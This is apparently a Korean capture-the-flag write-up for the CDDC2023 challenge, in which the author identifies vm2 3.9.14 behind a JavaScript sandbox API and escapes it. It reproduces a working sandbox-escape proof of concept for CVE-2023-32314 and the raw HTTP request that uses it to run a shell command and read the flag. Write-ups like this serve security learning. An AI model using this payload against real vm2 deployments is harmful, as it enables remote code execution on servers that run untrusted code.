-
Prob
이 문제에선 Sandbox 환경에서 자바스크립트를 실행시킬 수 있는 API 가 주어졌습니다. (소소 코드는 주어지지 않음.)
먼저,
http://challenges.web.cddc2023.com:8004/sandbox 에 curl로 GET request를 보냈고 아래와 같은 응답을 받을 수 있습니다.
{ "name":"playjs", "version":"1.0.0", "description":"", "main":"src/app.js", "scripts":{ "test":"echo \"Error: no test specified\" && exit 1", "start":"node src/app.js", "start:dev":"nodemon --watch src", "swagger-autogen":"node ./swagger.js" }, "author":"", "license":"ISC", "dependencies":{ "cors":"^2.8.5", "swagger-autogen":"^2.23.1", "swagger-ui-express":"^4.6.2", "vm2":"3.9.14" } }
응답 값을 통해 알 수 있는 주요 정보는 사용된 'vm2' 모듈의 버전이 3.9.14라는 점입니다.
vm2 3.9.14 버전에는 Sandbox Escape 취약점이 있으며, 이 취약점을 이용해서 RCE가 가능합니다.
[VM2 Sandbox Escape] Vulnerability in vm2@3.9.14 · Issue #515 · patriksimek/vm2
Hello team, I am Seongil Wi from KAIST in South Korea. Our research team in KAIST WSP Lab found a sandbox escape bug in vm2@3.9.14. Since this is a confidential issue, we have sent an e-mail with P...
github.com
Sandbox Escape in vm2@3.9.17 - CVE-2023-32314
Sandbox Escape in vm2@3.9.17 - CVE-2023-32314. GitHub Gist: instantly share code, notes, and snippets.
gist.github.com
const { VM } = require("vm2"); const vm = new VM(); const code = ` const err = new Error(); err.name = { toString: new Proxy(() => "", { apply(target, thiz, args) { const process = args.constructor.constructor("return process")(); throw process.mainModule.require("child_process").execSync("echo hacked").toString(); }, }), }; try { err.stack; } catch (stdout) { stdout; } `; console.log(vm.run(code)); // -> hacked
Exploit
POST /sandbox/run HTTP/1.1 Host: challenges.web.cddc2023.com:8004 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36 Accept: application/json Accept-Encoding: gzip, deflate Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: AWSALB=I8f94wQMOEWLloEYaV7LF3Pzz7LLiSH84uP12qm5q6l+JLofxsdpf3ARkg3IkdJRUqo9FH3PtqMO0iczsSH7afCxzBABAkQ36sCuat8c2w7jP4u0yXs0ivKndmgJ If-None-Match: W/"c22-H8FH9nKD8DeX/nvIRrte6ZjP2a4" Connection: close Content-Type: application/json Content-Length: 315 { "code":"const err = new Error(); err.name = { toString: new Proxy(() => '', { apply(target, thiz, args) { const process = args.constructor.constructor('return process')(); throw process.mainModule.require('child_process').execSync('cat flag').toString(); }})}; try { err.stack; } catch (stdout) { stdout; }" }
저는 CVE-2023-32314 PoC를 이용해 FLAG를 얻었습니다.
FLAG
FLAG : CDDC2023{900d_900d_900d_3sc4p3}
다음 주에 싱가포르 갑니다 수고
정확히 언제 돌아올지는 잘 모르겠네요
뭐 그렇습니다.
안녕히 계십시오.
댓글